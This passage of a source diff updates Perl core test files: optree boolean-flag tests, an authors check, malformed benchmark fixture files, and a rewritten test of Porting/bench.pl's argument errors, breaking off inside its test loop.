+         OPpASSIGN_TRUEBOOL
       );
 
+# for debugging etc. Basic dump of an optree
 
+sub dump_optree {
+    my ($o, $depth) = @_;
+
+    return '' unless $$o;
+    # use Devel::Peek; Dump $o;
+    my $s = ("  " x $depth) . $o->name . "\n";
+    my $n = eval { $o->first };
+    while ($n && $$n) {
+        $s .= dump_optree($n, $depth+1);
+        $n = $n->sibling;
+    }
+    $s;
+}
+
+
+
 # Test that OP_AASSIGN gets the appropriate
 # OPpASSIGN_COMMON* flags set.
 #
@@ -207,11 +225,22 @@
 # if in scalar context, %h must return a key count.
 
 for my $ops (
-    #  op       code           op path   flag         maybe flag
-    [ 'rv2hv', '%pkg',         [],       OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
-    [ 'rv2hv', 'scalar(%pkg)', [0],      OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
-    [ 'padhv', '%lex',         [],       OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
-    [ 'padhv', 'scalar(%lex)', [0],      OPpTRUEBOOL, OPpMAYBE_TRUEBOOL ],
+    #  op          code        op_path flag               maybe_flag
+    #  ---------   ----------  ------- -----------------  ----------------
+    [ 'aassign',  '(@pkg = @lex)',[],  OPpASSIGN_TRUEBOOL,0,                ],
+    [ 'grepwhile','grep($_,1)',   [],  OPpTRUEBOOL,       0,                ],
+    [ 'length',   'length($x)',   [],  OPpTRUEBOOL,       0,                ],
+    [ 'padav',    '@lex',         [],  OPpTRUEBOOL,       0,                ],
+    [ 'padav',    'scalar @lex',  [0], OPpTRUEBOOL,       0,                ],
+    [ 'padhv',    '%lex',         [],  OPpTRUEBOOL,       OPpMAYBE_TRUEBOOL ],
+    [ 'padhv',    'scalar(%lex)', [0], OPpTRUEBOOL,       OPpMAYBE_TRUEBOOL ],
+    [ 'pos',      'pos($x)',      [],  OPpTRUEBOOL,       0,                ],
+    [ 'ref',      'ref($x)',      [],  OPpTRUEBOOL,       OPpMAYBE_TRUEBOOL ],
+    [ 'rv2av',    '@pkg',         [],  OPpTRUEBOOL,       0,                ],
+    [ 'rv2av',    'scalar(@pkg)', [0], OPpTRUEBOOL,       0,                ],
+    [ 'rv2hv',    '%pkg',         [],  OPpTRUEBOOL,       OPpMAYBE_TRUEBOOL ],
+    [ 'rv2hv',    'scalar(%pkg)', [0], OPpTRUEBOOL,       OPpMAYBE_TRUEBOOL ],
+    [ 'subst',    's/a/b/',       [],  OPpTRUEBOOL,       0,                ],
 ) {
     my ($op_name, $op_code, $post_op_path, $bool_flag, $maybe_flag) = @$ops;
 
@@ -231,7 +260,7 @@
         # INNER PLAIN
 
         [ [0,0,0], [],        '%s'                               ],
-        [ [1,9,2], [0,0],     'if (%s) {$x}'                     ],
+        [ [1,9,1], [0,0],     'if (%s) {$x}'                     ],
         [ [1,9,1], [0,0],     'if (%s) {$x} else {$y}'           ],
         [ [1,9,2], [0,0],     'unless (%s) {$x}'                 ],
 
@@ -255,7 +284,7 @@
         [ [1,0,2], [0,0],     '%s || $x'                         ],
         [ [1,1,1], [0,0,0],   '!(%s || $x)'                      ],
         [ [1,0,2], [0,1,0,0], '$y && (%s || $x)'                 ],
-        [ [1,9,2], [0,0,0,0], 'if (%s || $x) {$x}'               ],
+        [ [1,9,1], [0,0,0,0], 'if (%s || $x) {$x}'               ],
         [ [1,9,1], [0,0,0,0], 'if (%s || $x) {$x} else {$y}'     ],
         [ [1,9,2], [0,0,0,0], 'unless (%s || $x) {$x}'           ],
 
@@ -264,7 +293,7 @@
         [ [0,0,0], [0,1],     '$x || %s'                         ],
         [ [1,1,1], [0,0,1],   '!($x || %s)'                      ],
         [ [0,0,0], [0,1,0,1], '$y && ($x || %s)'                 ],
-        [ [1,9,2], [0,0,0,1], 'if ($x || %s) {$x}'               ],
+        [ [1,9,1], [0,0,0,1], 'if ($x || %s) {$x}'               ],
         [ [1,9,1], [0,0,0,1], 'if ($x || %s) {$x} else {$y}'     ],
         [ [1,9,2], [0,0,0,1], 'unless ($x || %s) {$x}'           ],
 
@@ -273,7 +302,7 @@
         [ [1,0,2], [0,0],     '%s // $x'                         ],
         [ [1,1,1], [0,0,0],   '!(%s // $x)'                      ],
         [ [1,0,2], [0,1,0,0], '$y && (%s // $x)'                 ],
-        [ [1,9,2], [0,0,0,0], 'if (%s // $x) {$x}'               ],
+        [ [1,9,1], [0,0,0,0], 'if (%s // $x) {$x}'               ],
         [ [1,9,1], [0,0,0,0], 'if (%s // $x) {$x} else {$y}'     ],
         [ [1,9,2], [0,0,0,0], 'unless (%s // $x) {$x}'           ],
 
@@ -282,18 +311,18 @@
         [ [0,0,0], [0,1],     '$x // %s'                         ],
         [ [1,1,1], [0,0,1],   '!($x // %s)'                      ],
         [ [0,0,0], [0,1,0,1], '$y && ($x // %s)'                 ],
-        [ [1,9,2], [0,0,0,1], 'if ($x // %s) {$x}'               ],
+        [ [1,9,1], [0,0,0,1], 'if ($x // %s) {$x}'               ],
         [ [1,9,1], [0,0,0,1], 'if ($x // %s) {$x} else {$y}'     ],
         [ [1,9,2], [0,0,0,1], 'unless ($x // %s) {$x}'           ],
 
         # INNER AND LHS
 
-        [ [1,0,2], [0,0],     '%s && $x'                         ],
+        [ [1,1,1], [0,0],     '%s && $x'                         ],
         [ [1,1,1], [0,0,0],   '!(%s && $x)'                      ],
-        [ [1,0,2], [0,1,0,0], '$y || (%s && $x)'                 ],
-        [ [1,9,2], [0,0,0,0], 'if (%s && $x) {$x}'               ],
+        [ [1,1,1], [0,1,0,0], '$y || (%s && $x)'                 ],
+        [ [1,9,1], [0,0,0,0], 'if (%s && $x) {$x}'               ],
         [ [1,9,1], [0,0,0,0], 'if (%s && $x) {$x} else {$y}'     ],
-        [ [1,9,2], [0,0,0,0], 'unless (%s && $x) {$x}'           ],
+        [ [1,9,1], [0,0,0,0], 'unless (%s && $x) {$x}'           ],
 
         # INNER AND RHS
 
@@ -300,7 +329,7 @@
         [ [0,0,0], [0,1],     '$x && %s'                         ],
         [ [1,1,1], [0,0,1],   '!($x && %s)'                      ],
         [ [0,0,0], [0,1,0,1], '$y || ($x && %s)'                 ],
-        [ [1,9,2], [0,0,0,1], 'if ($x && %s) {$x}'               ],
+        [ [1,9,1], [0,0,0,1], 'if ($x && %s) {$x}'               ],
         [ [1,9,1], [0,0,0,1], 'if ($x && %s) {$x} else {$y}'     ],
         [ [1,9,2], [0,0,0,1], 'unless ($x && %s) {$x}'           ],
 
@@ -320,9 +349,9 @@
 
         # GREP
 
-        [ [1,1,1], [0,1,0],    'grep %s,1,2'                     ],
-        [ [1,1,1], [0,1,0,0],  'grep !%s,1,2'                    ],
-        [ [1,1,1], [0,1,0,0,1],'grep  $y || %s,1,2'              ],
+        [ [1,1,1], [0,1,0],    'grep(%s,1,2)'                    ],
+        [ [1,1,1], [0,1,0,0],  'grep(!%s,1,2)'                   ],
+        [ [1,1,1], [0,1,0,0,1],'grep($y || %s,1,2)'              ],
 
         # FLIP
 
@@ -360,7 +389,7 @@
                 $code .= "; 1";
             }
             elsif ($context == 1) {
-                $code = "\$r = ($code)";
+                $code = "\$pkg_result = ($code)";
                 unshift @op_path, 0;
             }
 
@@ -367,8 +396,10 @@
 
             my $sub;
             {
-                our (%pkg);
-                my  (%lex, $p, $q, $r, $x, $y);
+                # don't use 'my' for $pkg_result to avoid the assignment in
+                # '$result = foo()' being optimised away with OPpTARGET_MY
+                our (@pkg, %pkg, $pkg_result);
+                my  (@lex, %lex, $p, $q, $x, $y);
 
                 no warnings 'void';
                 $sub = eval "sub { $code }"
@@ -379,6 +410,7 @@
 
             # find the expression subtree in the main lineseq of the sub
             my $expr = svref_2object($sub)->ROOT->first;
+            my $orig_expr = $expr;
             my @ops;
             my $next = $expr->first;
             while ($$next) {
@@ -390,14 +422,21 @@
             # search through the expr subtree looking for the named op -
             # this assumes that for all the code examples above, the
             # op is always in the LH branch
+            my @orig_op_path = @op_path;
             while (defined (my $p = shift @op_path)) {
-                $expr = $expr->first;
-                $expr = $expr->sibling while $p--;
+                eval {
+                    $expr = $expr->first;
+                    $expr = $expr->sibling while $p--;
+                }
             }
 
-            if (!$expr || $expr->name ne $op_name) {
-                die "Can't find $op_name op in optree for '$code'; "
-                     . "this test needs to be rewritten" 
+            if (!$expr || !$$expr || $expr->name ne $op_name) {
+                my $optree = dump_optree($orig_expr,2);
+                print STDERR "Can't find $op_name op in optree for '$code'.\n";
+                print STDERR "This test needs to be rewritten\n";
+                print STDERR "seq_offset=$seq_offset op_path=(@orig_op_path)\n";
+                print STDERR "optree=\n$optree";
+                exit 1;
             }
 
             my $exp = $expects->[$context];

Modified: vendor/perl/dist/t/porting/authors.t
===================================================================
--- vendor/perl/dist/t/porting/authors.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/authors.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,16 +2,30 @@
 # Test that there are no missing authors in AUTHORS
 
 BEGIN {
-    @INC = '..' if -f '../TestInit.pm';
+    chdir 't' if -d 't';
+    require "./test.pl";
+    set_up_inc('../lib', '..');
 }
-use TestInit qw(T); # T is chdir to the top level
+
+use TestInit qw(T);    # T is chdir to the top level
 use strict;
 
-require './t/test.pl';
 find_git_or_skip('all');
+skip_all(
+    "This distro may have modified some files in cpan/. Skipping validation.")
+  if $ENV{'PERL_BUILD_PACKAGING'};
 
+my $revision_range = ''; # could use 'v5.22.0..' as default, no reason to recheck all previous commits...
+if ( $ENV{TRAVIS} && defined $ENV{TRAVIS_COMMIT_RANGE} ) {
+	# travisci is adding a merge commit when smoking a pull request
+	#	unfortunately it's going to use the default GitHub email from the author
+	#	which can differ from the one the author wants to use as part of the pull request
+	#	let's simply use the TRAVIS_COMMIT_RANGE which list the commits we want to check
+	#	all the more a pull request should not be impacted by blead being incorrect
+	$revision_range = $ENV{TRAVIS_COMMIT_RANGE};
+}
+
 # This is the subset of "pretty=fuller" that checkAUTHORS.pl actually needs:
-my $quote = $^O =~ /^mswin/i ? q(") : q(');
-system("git log --pretty=format:${quote}Author: %an <%ae>%n${quote} | $^X Porting/checkAUTHORS.pl --tap -");
+print qx{git log --pretty=format:"Author: %an <%ae>" $revision_range | $^X Porting/checkAUTHORS.pl --tap -};
 
 # EOF

Added: vendor/perl/dist/t/porting/bench/badhash
===================================================================
--- vendor/perl/dist/t/porting/bench/badhash	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/badhash	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,15 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an invalid hash key
+
+
+[ 
+    'foo::bar' => {
+        desc    => 'my $x = "abc"',
+        setup   => '',
+        code    => 'my $x = "abc"',
+        blah    => 1,
+    },
+];
+

Added: vendor/perl/dist/t/porting/bench/badname
===================================================================
--- vendor/perl/dist/t/porting/bench/badname	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/badname	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,14 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an invalid test name
+
+
+[ 
+    '1=' => {
+        desc    => 'my $x = "abc"',
+        setup   => '',
+        code    => 'my $x = "abc"',
+    },
+];
+

Added: vendor/perl/dist/t/porting/bench/badversion.json
===================================================================
--- vendor/perl/dist/t/porting/bench/badversion.json	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/badversion.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+{"version":9999.9}
\ No newline at end of file

Added: vendor/perl/dist/t/porting/bench/callsub.json
===================================================================
--- vendor/perl/dist/t/porting/bench/callsub.json	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/callsub.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+{"version":1,"results":{"call::sub::empty":{"./perl":[[{"COND":"297398","Ir":"2101154","Dr_m1":"10892","Ir_mm":"6966","Ir_m1":"36832","Dr_mm":"3664","IND_m":"2003","IND":"10908","Dr":"789745","Dw":"289806","COND_m":"23993","Dw_mm":"4591","Dw_m1":"5421"},{"Dr":"791632","IND":"10948","IND_m":"2043","Dr_mm":"3664","Ir_m1":"36844","Ir_mm":"6975","Dr_m1":"10893","Ir":"2105140","COND":"297817","Dw_m1":"5421","Dw_mm":"4591","Dw":"290156","COND_m":"23991"}],[{"Ir_mm":"7124","Dr_m1":"10946","Ir":"2130347","COND":"300492","Dr":"802097","IND":"11024","IND_m":"2070","Dr_mm":"3668","Ir_m1":"37944","Dw_mm":"4627","COND_m":"24559","Dw":"293963","Dw_m1":"5467"},{"Dr_m1":"10947","Ir_mm":"7133","COND":"301931","Ir":"2147523","IND":"11124","IND_m":"2160","Dr":"809954","Ir_m1":"37954","Dr_mm":"3668","Dw_mm":"4627","Dw":"296213","COND_m":"24559","Dw_m1":"5467"}]]},"call::sub::amp_empty":{"./perl":[[{"Dr_mm":"3677","Ir_m1":"37759","Dr":"800478","IND_m":"2032","IND":"11008","Ir":"2127773","COND":"300681","Ir_mm":"7132","Dr_m1":"10977","Dw_m1":"5475","Dw":"293507","COND_m":"24712","Dw_mm":"4627"},{"Dr_m1":"10979","Ir_mm":"7141","COND":"301100","Ir":"2131759","IND":"11048","IND_m":"2072","Dr":"802365","Ir_m1":"37771","Dr_mm":"3677","Dw_mm":"4627","COND_m":"24710","Dw":"293857","Dw_m1":"5475"}],[{"Dw_m1":"5472","COND_m":"24970","Dw":"296257","Dw_mm":"4631","Ir_m1":"38421","Dr_mm":"3678","IND_m":"2092","IND":"11091","Dr":"809099","COND":"302694","Ir":"2147625","Dr_m1":"10976","Ir_mm":"7222"},{"Dw":"298107","COND_m":"24970","Dw_mm":"4631","Dw_m1":"5472","Ir":"2161791","COND":"303873","Ir_mm":"7231","Dr_m1":"10977","Dr_mm":"3678","Ir_m1":"38430","Dr":"815606","IND_m":"2182","IND":"11181"}]]}},"loop_counts":[10,20],"tests":{"call::sub::amp_empty":{"code":"&f","setup":"sub f { }; @_ = ();","desc":"&foo function call with no args or body"},"call::sub::empty":{"setup":"sub f { }","code":"f()","desc":"function call with no args or body"}},"order":["call::sub::empty","call::sub::amp_empty"],"perls":[["./perl","./perl",{}]]}
\ No newline at end of file

Added: vendor/perl/dist/t/porting/bench/callsub2.json
===================================================================
--- vendor/perl/dist/t/porting/bench/callsub2.json	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/callsub2.json	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1 @@
+{"version":1,"results":{"call::sub::args3":{"perl2":[[{"Dw_m1":"5462","IND_m":"2063","COND_m":"25006","COND":"302639","IND":"11105","Dr":"808316","Ir":"2146584","Dw_mm":"4617","Dr_m1":"11009","Ir_m1":"38384","Dw":"296153","Ir_mm":"7121","Dr_mm":"3682"},{"Ir_mm":"7130","Dr_mm":"3682","Dw":"296503","Ir_m1":"38396","Dr_m1":"11010","COND":"303058","Dw_mm":"4617","Dr":"810203","IND":"11145","Ir":"2150570","Dw_m1":"5462","COND_m":"25004","IND_m":"2103"}],[{"Dw_m1":"5506","COND_m":"25896","IND_m":"2194","COND":"309734","Dw_mm":"4655","IND":"11355","Dr":"836351","Ir":"2212415","Dr_m1":"11087","Ir_m1":"39818","Dr_mm":"3687","Ir_mm":"7362","Dw":"305095"},{"Dr_m1":"11088","Ir_m1":"39828","Ir_mm":"7371","Dr_mm":"3687","Dw":"310215","IND_m":"2334","COND_m":"25975","Dw_m1":"5506","Dw_mm":"4655","Dr":"854338","IND":"11535","Ir":"2252481","COND":"313493"}]]},"call::sub::empty":{"perl2":[[{"Dr_m1":"10892","Ir_m1":"36832","Ir_mm":"6966","Dr_mm":"3664","Dw":"289806","Dw_m1":"5421","IND_m":"2003","COND_m":"23993","COND":"297398","Dw_mm":"4591","Dr":"789745","IND":"10908","Ir":"2101154"},{"COND":"297817","Dw_mm":"4591","Ir":"2105140","IND":"10948","Dr":"791632","Dw_m1":"5421","IND_m":"2043","COND_m":"23991","Dr_mm":"3664","Ir_mm":"6975","Dw":"290156","Dr_m1":"10893","Ir_m1":"36844"}],[{"Dr_mm":"3668","Ir_mm":"7124","Dw":"293963","Dr_m1":"10946","Ir_m1":"37944","Dw_mm":"4627","Ir":"2130347","IND":"11024","Dr":"802097","COND":"300492","COND_m":"24559","IND_m":"2070","Dw_m1":"5467"},{"Ir_m1":"37954","Dr_m1":"10947","Dw":"296213","Ir_mm":"7133","Dr_mm":"3668","COND_m":"24559","IND_m":"2160","Dw_m1":"5467","Ir":"2147523","IND":"11124","Dr":"809954","Dw_mm":"4627","COND":"301931"}]]}},"perls":[["./perl","perl2",{}]],"tests":{"call::sub::empty":{"desc":"function call with no args or body","setup":"sub f { }","code":"f()"},"call::sub::args3":{"setup":"sub f { my ($a, $b, $c) = @_; 1 }","desc":"function call with 3 local lexical vars","code":"f(1,2,3)"}},"order":["call::sub::empty","call::sub::args3"],"loop_counts":[10,20]}
\ No newline at end of file

Added: vendor/perl/dist/t/porting/bench/oddentry
===================================================================
--- vendor/perl/dist/t/porting/bench/oddentry	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/oddentry	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,10 @@
+#!perl
+# for the use of t/porting/bench.pl.
+#
+# A file to load which has an odd number of test/hash pairs
+
+
+[ 
+    'foo::bar',
+];
+

Added: vendor/perl/dist/t/porting/bench/ret0
===================================================================
--- vendor/perl/dist/t/porting/bench/ret0	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/ret0	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+#!perl
+# for the use of t/porting/bench.pl.
+# A file to load which returns 0
+
+
+0;

Added: vendor/perl/dist/t/porting/bench/synerr
===================================================================
--- vendor/perl/dist/t/porting/bench/synerr	                        (rev 0)
+++ vendor/perl/dist/t/porting/bench/synerr	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,6 @@
+#!perl
+# for the use of t/porting/bench.pl.
+# A file to load which has a syntax error
+
+
+[ 

Modified: vendor/perl/dist/t/porting/bench.t
===================================================================
--- vendor/perl/dist/t/porting/bench.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/t/porting/bench.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,10 +1,855 @@
-#!./perl -w
+#!/usr/bin/perl
 
-# run Porting/bench.pl's selftest
+# Check the functionality of the Porting/bench.pl executable;
+# in particular, its argument handling and its ability to produce
+# the expected output for particular arguments.
+#
+# See also t/porting/bench_selftest.pl
 
+BEGIN {
+    chdir '..' if -f 'test.pl';
+    @INC = ( './lib' );
+    require './t/test.pl';
+}
+
+use warnings;
 use strict;
+use Config;
 
-chdir '..' if -f 'test.pl' && -f 'thread_it.pl';
-require './t/test.pl';
 
-system "$^X -I. -MTestInit Porting/bench.pl --action=selftest";
+# Only test on git checkouts - this is more of a perl core developer
+# tool than an end-user tool.
+# Only test on a platform likely to support forking, pipes, cachegrind
+# etc.  Add other platforms if you think they're safe.
+
+skip_all "not devel"   unless -d "./.git";
+skip_all "not linux"   unless $^O eq 'linux';
+skip_all "no valgrind" unless -x '/bin/valgrind' || -x '/usr/bin/valgrind';
+# Address sanitizer clashes horribly with cachegrind
+skip_all "not with ASAN" if $Config{ccflags} =~ /sanitize=address/;
+skip_all "cachegrind broken" if system "( ulimit -c 0; valgrind -q --tool=cachegrind --cachegrind-out-file=/dev/null $^X -e0 ) 2>/dev/null";
+
+
+my $bench_pl = "Porting/bench.pl";
+
+ok -e $bench_pl, "$bench_pl exists and is executable";
+
+my $bench_cmd = "$^X -Ilib $bench_pl";
+
+my ($out, $cmd);
+
+# Read in the expected output format templates and create qr//s from them.
+
+my %formats;
+my %format_qrs;
+
+{
+    my $cur;
+    while (<DATA>) {
+        next if /^#/;
+        if (/^FORMAT:/) {
+            die "invalid format line: $_" unless /^FORMAT:\s+(\w+)\s*$/;
+            $cur = $1;
+            die "duplicate format: '$cur'\n" if exists $formats{$cur};
+            next;
+        }
+        $formats{$cur} .= $_;
+    }
+
+    for my $name (sort keys %formats) {
+        my $f = $formats{$name};
+
+        # expand "%%SUB_FORMAT%%
+        $f =~ s{^ \s* %% (\w+) %% [ \t]* \n}
+               {
+                    my $f1 = $formats{$1};
+                    die "No such sub-format '%%$1%%' in format '$name'\n"
+                        unless defined $f1;
+                    $f1;
+               }gmxe;
+
+        $f = quotemeta $f;
+
+        # convert NNNN.NN placeholders into a regex
+        $f =~ s{(N+)\\.(N+)}
+               {
+                    my $l = length($2);
+                    "("
+                    . "\\s*-?\\d+\\."
+                    . "\\d" x $l
+                    ."|\\s{"
+                    . ($l + 1)
+                    . ",}-)"
+               }ge;
+
+        # convert run of space chars into ' +' or ' *'
+
+        $f =~ s/(\A|\n)(\\ )+/$1 */g;
+        $f =~ s/(\\ )+/ +/g;
+
+        # convert '---' placeholders into a regex
+        $f =~ s/(\\-){2,}/-+/g;
+
+        $format_qrs{$name} = qr/\A$f\z/;
+    }
+}
+
+
+# ---------------------------------------------------
+# check croaks
+
+for my $test (
+    [
+        "--boz",
+        "Unknown option: boz\nUse the -h option for usage information.\n",
+        "croak: basic unknown option"
+    ],
+    [
+        "--fields=Ir,Boz",
+        "Error: --fields: unknown field 'Boz'\n",
+        "croak: unknown --field"
+    ],
+    [
+        "--action=boz",
+        "Error: unrecognised action 'boz'\nmust be one of: grind, selftest\n",
+        "croak: unknown --action"
+    ],
+    [
+        "--sort=boz",
+        "Error: --sort argument should be of the form field:perl: 'boz'\n",
+        "croak: invalid --sort"
+    ],
+    [
+        "--sort=boz:perl",
+        "Error: --sort: unknown field 'boz'\n",
+        "croak: unknown --sort field"
+    ],
+    [
+        "-action=selftest perl",
+        "Error: no perl executables may be specified with selftest\n",
+        "croak: --action-selftest with executable"
+    ],
+    [
+        "--tests=/boz perl",
+        "Error: --tests regex must be of the form /.../\n",
+        "croak: invalid --tests regex"
+    ],
+    [
+        "--tests=call::sub::empty,foo::bar::baz::boz perl",
+          "Error: no such test found: 'foo::bar::baz::boz'\n"
+        . "Re-run with --verbose for a list of valid tests.\n",
+        "croak: unknown test in --tests"
+    ],
+    [
+        "--verbose --tests=call::sub::empty,foo::bar::baz::boz --read=t/porting/bench/callsub.json",
+            "Error: no such test found: 'foo::bar::baz::boz'\n"
+          . "Valid test names are:\n"
+          . "  call::sub::amp_empty\n"
+          . "  call::sub::empty\n",
+        "croak: unknown test in --tests --verbose"
+    ],
+    [
+        "--tests=/foo::bar::baz::boz/ perl",
+        "Error: no tests to run\n",
+        "croak: no --tests to run "
+    ],
+    [
+        "--benchfile=no-such-file-boz perl",
+        qr/\AError: can't read 'no-such-file-boz':/,
+        "croak: non-existent --benchfile "
+    ],
+    [
+        "--benchfile=t/porting/bench/synerr perl",
+        qr{\AError: can't parse 't/porting/bench/synerr':\nsyntax error},
+        "croak: --benchfile with syntax error"
+    ],
+    [
+        "--benchfile=t/porting/bench/ret0 perl",
+        "Error: can't load 't/porting/bench/ret0': code didn't return a true value\n",
+        "croak: --benchfile which returns 0"
+    ],
+    [
+        "--benchfile=t/porting/bench/oddentry perl",
+        qr{\AError: 't/porting/bench/oddentry' does not contain evenly paired test names and hashes\n},
+        "croak: --benchfile with odd number of entries"
+    ],
+    [
+        "--benchfile=t/porting/bench/badname perl",
+        qr{\AError: 't/porting/bench/badname': invalid test name: '1='\n},
+        "croak: --benchfile with invalid test name"
+    ],
+    [
+        "--benchfile=t/porting/bench/badhash perl",
+        qr{\AError: 't/porting/bench/badhash': invalid key 'blah' for test 'foo::bar'\n},
+        "croak: --benchfile with invalid test hash key"
+    ],
+    [
+        "--norm=2 ./miniperl ./perl",
+        "Error: --norm value 2 outside range 0..1\n",
+        "croak: select-a-perl out of range"
+    ],
+    [
+        "--norm=-0 ./miniperl ./perl",
+        "Error: --norm value -0 outside range -1..-2\n",
+        "croak: select-a-perl out of range"
+    ],
+    [
+        "--norm=-3 ./miniperl ./perl",
+        "Error: --norm value -3 outside range -1..-2\n",
+        "croak: select-a-perl out of range"
+    ],
+    [
+        "--sort=Ir:myperl ./miniperl ./perl",
+        "Error: --sort: unrecognised perl 'myperl'\n"
+        . "Valid perl names are:\n"
+        . "    ./miniperl\n"
+        . "    ./perl\n",
+        "croak: select-a-perl unrecognised"
+    ],
+    [
+        "--compact=./perl ./perl=A ./perl=B",
+        "Error: --compact: ambiguous perl './perl'\n",
+        "croak: select-a-perl ambiguous"
+    ],
+    [
+        "./perl --foo",
+        "Error: unrecognised executable switch '--foo'\n",
+        "croak: ./perl --foo"
+    ],
+    [
+        "-- --args=foo",
+        "Error: --args without a preceding executable name\n",
+        "croak: --args without perl"
+    ],
+    [
+        "-- --env=foo=bar",
+        "Error: --env without a preceding executable name\n",
+        "croak: --env without perl"
+    ],
+    [
+        "./perl --args",
+        "Error: --args is missing value\n",
+        "croak: --args without value"
+    ],
+    [
+        "./perl --env",
+        "Error: --env is missing value\n",
+        "croak: --env without value"
+    ],
+    [
+        "./perl --env='FOO'",
+        "Error: --env is missing =value\n",
+        "croak: --env without =value"
+    ],
+    [
+        "./perl ./perl",
+        "Error: duplicate label './perl': each executable must have a unique label\n",
+        "croak: duplicate label ./perl ./perl"
+    ],
+    [
+        "./perl=A ./miniperl=A",
+        "Error: duplicate label 'A': each executable must have a unique label\n",
+        "croak: duplicate label =A =A"
+    ],
+    [
+        "--read=t/porting/bench/callsub.json --read=t/porting/bench/callsub.json",
+        "Error: duplicate label './perl': seen in file 't/porting/bench/callsub.json'\n",
+        "croak: duplicate label --read=... --read=..."
+    ],
+    [
+        "--read=t/porting/bench/callsub.json ./perl",
+        "Error: duplicate label './perl': seen both in --read file and on command line\n",
+        "croak: duplicate label --read=... ./perl"
+    ],
+    [
+        "./nosuch-perl",
+        qr{^\QError: unable to execute './nosuch-perl': },
+        "croak:  no such perl"
+    ],
+    [
+        "--grindargs=Boz --debug --tests=call::sub::empty ./perl=A ./perl=B",
+        qr{Error: .*?(unexpected code or cachegrind output|gave return status)}s,
+        "croak: cachegrind output format "
+    ],
+    [
+        "--bisect=Ir",,
+        "Error: --bisect option must be of form 'field,integer,integer'\n",
+        "croak: --bisect=Ir"
+    ],
+    [
+        "--bisect=Ir,1",,
+        "Error: --bisect option must be of form 'field,integer,integer'\n",
+        "croak: --bisect=Ir,1"
+    ],
+    [
+        "--bisect=Ir,1,2,3",
+        "Error: --bisect option must be of form 'field,integer,integer'\n",
+        "croak: --bisect=Ir,1,2,3"
+    ],
+    [
+        "--bisect=Ir,1,x",
+        "Error: --bisect option must be of form 'field,integer,integer'\n",
+        "croak: --bisect=Ir,1,x"
+    ],
+    [
+        "--bisect=Ir,x,2",
+        "Error: --bisect option must be of form 'field,integer,integer'\n",
+        "croak: --bisect=Ir,x,2"
+    ],
+    [
+        "--bisect=boz,1,2",
+        "Error: unrecognised field 'boz' in --bisect option\n",
+        "croak: --bisect=boz,1,2"
+    ],
+    [
+        "--bisect=Ir,2,1",
+        "Error: --bisect min (2) must be <= max (1)\n",
+        "croak: --bisect=boz,2,1"
+    ],
+    [
+        "--read=no-such-file-boz",
+        qr/\AError: can't open 'no-such-file-boz' for reading:/,
+        "croak: non-existent --read file "
+    ],
+    [
+        "--read=t/porting/bench/badversion.json",
+        "Error: unsupported version 9999.9 in file 't/porting/bench/badversion.json' (too new)\n",
+        "croak: --read version"
+    ],
+    [
+        "--read=t/porting/bench/callsub.json --benchfile=t/perf/benchmarks ./perl ",
+        "Error: --benchfile cannot be used when --read is present\n",
+        "croak: benchfile with read"
+    ],
+    [
+        "",
+        "Error: nothing to do: no perls to run, no data to read.\n",
+        "croak: no input"
+    ],
+    [
+        "./perl",
+        "Error: need at least 2 perls for comparison.\n",
+        "croak: need 2 perls"
+    ],
+    [
+        "--bisect=Ir,1,2 ./perl=A ./perl=B",
+        "Error: exactly one perl executable must be specified for bisect\n",
+        "croak: --bisect, need 1 perls"
+    ],
+    [
+        "--bisect=Ir,1,2 --tests=/call/ ./perl=A",
+        "Error: only a single test may be specified with --bisect\n",
+        "croak: --bisect one test only"
+    ],
+    # note that callsub.json was created using
+    # ./perl -Ilib Porting/bench.pl --tests='/call::sub::(amp_)?empty/' \
+    #                     --write=t/porting/bench/callsub.json ./perl
+    [
+        "--read=t/porting/bench/callsub.json --write=no/such/file/boz",
+        qr{\AError: can't open 'no/such/file/boz' for writing: },
+        "croak: --write open error"
+    ],
+    # note that callsub2.json was created using
+    # ./perl -Ilib Porting/bench.pl \
+    #    --tests='call::sub::empty,call::sub::args3' \
+    #                     --write=t/porting/bench/callsub2.json ./perl=perl2
+    [
+           "--read=t/porting/bench/callsub.json "
+        . " --read=t/porting/bench/callsub2.json",
+        "Can't merge multiple read files: they contain differing test sets.\n"
+        . "Re-run with --verbose to see the differences.\n",
+        "croak: --read callsub, callsub2"
+    ],
+    [
+           "--read=t/porting/bench/callsub.json "
+        . " --read=t/porting/bench/callsub2.json"
+        . " --verbose",
+        "Can't merge multiple read files: they contain differing test sets.\n"
+        . "Previous tests:\n"
+        . "  call::sub::amp_empty\n"
+        . "  call::sub::empty\n"
+        . "tests from 't/porting/bench/callsub2.json':\n"
+        . "  call::sub::args3\n"
+        . "  call::sub::empty\n",
+        "croak: --read callsub, callsub2 --verbose"
+    ],
+
+    # these ones aren't tested (and nor are any "Panic:" ones):
+
+    # Error: can't parse '$field' field from cachegrind output
+    # Error: while starting cachegrind subprocess for NNNN:
+    # File '$file' contains no results
+    # File '$file' contains differing test and results names
+    # File '$file' contains differing test and sort order names
+    # Can't merge multiple read files: differing loop counts:
+)
+{
+    my ($args, $expected, $desc) = @$test;
+    $out = qx($bench_cmd $args 2>&1);
